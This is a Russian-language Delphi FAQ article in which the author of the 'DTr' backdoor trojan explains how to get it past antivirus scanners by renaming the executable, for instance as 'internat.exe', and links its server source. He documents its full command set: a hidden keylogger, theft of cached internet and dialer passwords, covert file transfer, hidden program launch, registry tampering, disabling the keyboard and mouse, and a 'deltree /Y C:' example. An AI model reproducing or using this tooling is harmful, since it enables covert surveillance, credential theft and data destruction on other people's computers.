Delphi Faq
базы даных
графика и игры
интернет и сеть
компоненты и классы
мультимедиа
ос и железо
программа и интерфейс
рабочий стол
синтаксис
технологии
файловая система
 
 



на главную
BackDoor - удалённое администрирование 3
BackDoor - удалённое администрирование 3
--------------------------------------------------------------------------------

Автор: Danil
WEB-сайт: http://www.danil.dp.ua

Чуваку надоело работать с Windows 95 и он выдернул шнур из розетки..... На экране надпись "А вы уверены?"


Как все наверное знают, DrWeb и AVP уже начали определять мою прогу "DTr" v.1.3. Я решил это дело пофиксить. Выбрал время, набрал пива, поставил брейкпоинты на SoftIce, а потом решил "проверить на вшивость". Изменил имя приложения, откомпилил, запустил сканеры. Проверил. Запаковал, запустил мониторы, переписал туда-сюда. Не ловят. Цирк. Как говорила одна моя знакомая: "я забыла сопротивляться". Эти "супер" антивиры отлавливают пока только имя приложения. Это значит что если генерить имя случайным образом, то по этому алгоритму работы они вообще его ловить не будут. А если обозвать приложение именем какого-нибудь стандарта? Например, "internat.exe"? Кстати имя приложения изменяется в 118 строке в значении константы "AppName" в исходниках (см. ниже).


В любом случае я решил форсировать процесс и выложить на свою страницу полные исходники сервера. Исходники клиента и дополнительной DLL выкладывать не буду - там столько используется моих и не моих компонентов и модулей, что это уже мало похоже на Delphi. Тем более клиент и DLL антивирами не определяются, а в следующих статьях я "освещу" клиент на "чистом" Delphi.


Исходники особым обилием комментариев не отличаются, но после внимательного прочтения моих предыдущих двух статей на эту тему, я думаю, в них можно разобраться. Единственная сложность, какая может возникнуть, это закачка файлов, но общий принцип работы алгоритма я расскажу в следующих статьях. Тем более, что особо разбираться и не нужно - изменить имя приложения можно и так. В этой статье я дам подробное описание команд, которые понимает сервер.


В сервере замечены баги на Win95, при перезагрузке компа и т.п. Об этом я также расскажу. Исходники находятся на моей странице в архиве www.danil.dp.ua/dtr_s13s.zip. Особой красотой алгоритмы не отличаются. Принцип был один: работает - и ладно, а оптимизация будет в следующей версии. Замечу, что пришлось переписывать функцию преобразования строка-число - под NT выдавала какой-то бред.


КОМАНДЫ "DTr" v.1.3:


Некоторые обозначения:


_#13_ - символ с кодом 13;
- параметры команды (без <>).
Команды чуствительны к регистру - "helo" и "HeLo" не одно и то же.

Проверка связи. Команда "helo". Параметров нет. Должно выдать систему сервера, каталоги, имя юзера и т.д.
Файловый менеджер. Команда "ld ". Требует от сервера вернуть список файлов и директорий, находящихся в . Сервер возвращает список из строк, разделенных символом #13. В начале списка стоит "[[[ListFile _#13_" для указания клиенту, что это список файлов, и вывести его надо в окне файлового менеджера.
ПРИМЕР:



"ld C:WINDOWS"




Список запущенных процессов на удаленном компьютере. Команда "lp". Параметров нет. Должно выдать список процессов в окне сообщений. Требует для своей работы дополнительную DLL (см. в клиенте).
Прервать процесс. Команда "dp ". Прерывает процесс. № (для Win9x/ME) или ID (WinNT) - из списка процессов (смю выше). Требует дополнительную DLL.
ПРИМЕР:



"dp 2"




Перегрузить удаленный комп. Команда "rbt". Работает только на Win9x/ME. Если есть желание, то можно дописать для NT. Для этого нужно запросить дополнительные права. На Delphi это выглядит примерно так :



procedure ReBoot;
var
hToken: THandle;
tkp: TTokenPrivileges;
RetLen: DWORD;
PreviousState: TTokenPrivileges;
Ver: TOsVersionInfo;
begin
try
Ver.dwOSVersionInfoSize := SizeOf(Ver);
GetVersionEx(Ver);
if Ver.dwPlatformId = VER_PLATFORM_WIN32_NT then
g>begin // если WinNT
if not OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then
exit;
if not LookupPrivilegeValue( nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid) then
exit;
PreviousState := tkp;
tkp.PrivilegeCount := 1;
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
if not(AdjustTokenPrivileges(hToken, FALSE, tkp, SizeOf(PreviousState), PreviousState, RetLen)) then
exit;
end;
ExitWindows(EWX_REBOOT,0); // перезагрузить
except
end;
end;




Выключить компьютер. Команда "sd". Работает только на Win9x/ME.
Запуск win-приложения. Команда "start _#13__#13_". Запускает приложение. Может запустить и связанный файл: например "*.doc". - способ запуска (число):
0 : скрыто;
1 : минимизировано;
2 : нормально;
3 : на весь экран.
ПРИМЕР:



"start C:WINDOWS1.doc_#13_#13_3"




Запуск DOS-приложения. Команда "startDOS _#13__#13_". Запускает приложение. - способ запуска (число).
ПРИМЕР:



"startDOS C:WINDOWSCOMMANDdeltree.exe_#13_/Y C:_#13_0"




Проверка дополнительной DLL. Команда "dll DTrTestDLL_#13_". Проверяет доступность и инициализацию дополнительной DLL. Служит для проверки DLL при переименовании и переносе. Предполагается в следующих версиях этой командой запускать функции из дополнительной библиотеки ("dlll _#13_ "). Сервер должен вернуть или сообщение об ошибке. Само-собой на сервере необходима дополнительная DLL.
ПРИМЕР:



"dll DTrTestDLL_#13_ddddd"




Образ экрана. Команда "scr ". Сканирует экран и переносит в gif-файл. Требует для своей работы дополнительную DLL.
ПРИМЕР:



"scr C:scr.gif"




Высветить сообщение. "sm _#13_". Высветить сообщение. - иконка (число):
0 : нету;
1 : Stop;
2 : !;
3 : ?;
4 : Info.
ПРИМЕР:



"sm 1 Error_#13_System FAILURE"




Минимизировать и закрыть активное приложение. Команды "mnwn" и "clwn" соответсвенно.
Выключить экран, мышь и клаву. Команды "clsc", "clms" и "clkl". ВНИМАНИЕ. Используются команды "rundll32.exe user,disableoemlayer", "rundll32.exe mouse,disable" и "rundll32.exe keyboard,disable". Обратные команды типа "rundll32.exe mouse,enable" не работают. Комп придется перегружать.
Убрать с экрана и показать панель задач. Команды "ht" и "st" соответственно.
Пробипать динамиком. Команда "bp ".
ПРИМЕР:



"bp 13"




Просмотр подключей выбранного ключа реестра. Команда "RegVKey _#13_".:
0 : HKCU;
1 : HKLM;
2 : HKU;
3 : HKCC.
ПРИМЕР:



"RegVKey Software_#13_1" // Просмотр всех подключей в HKEY_LOCAL_MACHINESOFTWARE




Просмотр параметров выбранного ключа реестра. Команда "RegVPar _#13_".
ПРИМЕР:



"RegVPar Software_#13_1" // Просмотр всех параметров в HKEY_LOCAL_MACHINESOFTWARE




Создать подключ в выбранном ключе реестра. Команда "RegCKey _#13__#13_".
ПРИМЕР:



"RegCKey Software_#13_sss_#13_1" // Создать подключ "sss" в HKEY_LOCAL_MACHINESOFTWARE




Создать/Изменить строковой параметр в выбранном ключе реестра. Команда "RegCPar _#13__#13__#13_".
ПРИМЕР:



"RegCPar Software_#13_sss_#13_ddd_#13_1" // Создать/изменить параметр "sss" с значением "ddd" в HKEY_LOCAL_MACHINESOFTWARE




Создать/Изменить числовой параметр в выбранном ключе реестра. Команда "RegCWPr _#13__#13__#13_".
ПРИМЕР:



"RegCWPr Software_#13_sss_#13_666_#13_1" // Создать/изменить параметр "sss" с значением "666" в HKEY_LOCAL_MACHINESOFTWARE




Удалить подключ в реестре. Команда "RegDKey _#13_".
ПРИМЕР:



"RegDKey Softwaresss_#13_1" // Удалить подключ "sss" в HKEY_LOCAL_MACHINESOFTWARE




Удалить параметр в ключе реестра. Команда "RegDPar _#13__#13_".
ПРИМЕР:



"RegDPar Softwaresss_#13_ddd_#13_1" // Удалить параметр "ddd" в HKEY_LOCAL_MACHINESOFTWAREsss




Для всех нижеследующих команд необходима дополнительная DLL.

Включить клавиатурный шпион. Команда "KeySpyON ". Включить кл.шпион с записью в . Файл потом закачивается с помощью файлового менеджера. Файл имеет атрибут системный и для юзера в проводнике не виден.
Выключить клавиатурный шпион. Команда "KeySpyOFF".
Получить кешированные инет-пароли. Команда "CrckP". Сервер должен вывести все пароли, на свойствах соединения которых стоит "Сохранять пароли". Только для Win9x/ME.
Получить инет-пароли из EType Dialer. Команда "CrkED".
Получить список доступных по сети компьютеров. Команда "UserList".
Получить список зарегестрированных в WinNT-server пользователей на удаленном компьютере. Команда "ServList". Только для WinNT-server.
Команды файлового манеджера.

Показать список зарегистрированных в системе дисков - "ld". Возвращает список дисков со строкой "[[[ListDrvr " в начале.
Показать список файлов и каталогов в указанной директории - "ld ". В начале списка стоит "[[[ListFile _#13_".
Создать каталог в текущей директории - "MakeDir ".
ПРИМЕР:



"MakeDir 111"




Переименовать/перенести, скопировать файл, каталог - "CopFile _#13__#13__#13_". :
0 : копировать каталог со всем содержимым;
1 : перенести/переименовать каталог;
2: копировать файл;
3 : перенести/переименовать файл.
ПРИМЕР:



"CopFile C:WINDOWS_#13_win.com_#13_C:TEMP1.tmp_#13_3"




Удалить файл, пустой каталог - "DelFile ". Удаляет файл или пустой каталог. Если каталог, то на конце должно быть "". - полный путь.
ПРИМЕР:



"DelFile C:WINDOWSwin.com" или "C:WINDOWS"




Показать атрибуты файла, каталога - "ShowAttr ".
ПРИМЕР:



"ShowAttr C:WINDOWSwin.com"




Изменить атрибуты файла, каталога - "SetAttrb _#13_".
ПРИМЕР:



"SetAttrb C:WINDOWSwin.com_#13_0"




Получить файл с сервера - "LoadFile _#13_". Файл передается по частям и - размер передаваемого буфера для файла. На разных компах была замечена такая особенность: клиент и сервер получают не столько, сколько указано, а столько, сколько захотят (т.е. он может принять подряд 4800, 6800, 8600, и т.д.).Поэтому была сделана возможность установки размера буфера приема и отправки.
ПРИМЕР:



"LoadFile C:WINDOWSwin.com_#13_4000"




Отправить файл на сервер. Файл разбивается (в случае необходимости) на части. Размер частей зависит от буфера обмна. Вначале посылается команда "SaveFile _#13_". Потом шлются команды "SconFile _#13_", где на сервер отправляется весь файл по частям. Сервер после получения и записи должен отвечать. Последняя часть файла идет так: "SendFile ". Это говорит серверу что нужно записать и закрыть файл.
Функции дополнительной DLL ("nb003.dll"):

DTrTestDLL
Проверка дополнительной DLL. Входной параметр - указатель на строку, выходной параметр - указатель на строку вида: "Проверка DLL выполнена. Полученная строка - ...".
DTrLstProc
Список запущенных процессов. Входной параметр - число, определяющее систему сервера (0-Win9x/ME,1-WinNT). Выходной параметр - указатель на список строк, содержащий названия и номер всех запущенных приложений.
DTrDelProc
Прервать процесс по номеру или ID. Входные параметры - число, определяющее систему сервера и номер или ID удаляемого процесса. Выходной параметр- указатель на строку с информацией о результате выполнения операции.
DTrGetScr
Получение снимка экрана в файл. Входной параметр - указатель на строку с полным путем и именем gif-файла. Выходной параметр- указатель на строку с информацией о результате выполнения операции.
DTrEDPass
Получить пароли EType Dialer. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий все полученные пароли или сообщение о неудаче выполнения операции.
DTrCrkPass
Получить кешированные инет-пароли. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий все полученные пароли или сообщение о неудаче выполнения операции.
DTrSrvLst
Получить список пользователей WinNT-server. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий инфу обо всех юзерах или сообщение о неудаче выполнения операции.
DTrUsrLst
Получить список подключенных к серверу компов. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий имена всех компьютеров или сообщение о неудаче выполнения операции.
DTrKeyProc
Функция клавиатурного шпиона.
Теперь о багах. Почему-то если сервер стоит на Win95, то в окне получаемых сообщений, если предыдущая посланная строка была больше текущей, то выводится полученная строка и окончание предыдущей. Это все фиксится обнулением буфера отправки или отправкой только стольких байт, сколько есть в подготовленной строке. Т.е. или перед отправкой надо ставить:



mov ecx,6666
mov edi,offset BufStr0
lll_1: mov byte ptr [edi],0
inc edi
loop lll_1





Или, лучше, конструкцию:



invoke send,client,addr BufStr0,sizeof BufStr0,0




Надо переписать так:



invoke lstrlen, addr BufStr0
invoke send,client,addr BufStr0, eax,0




P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

. каско полис.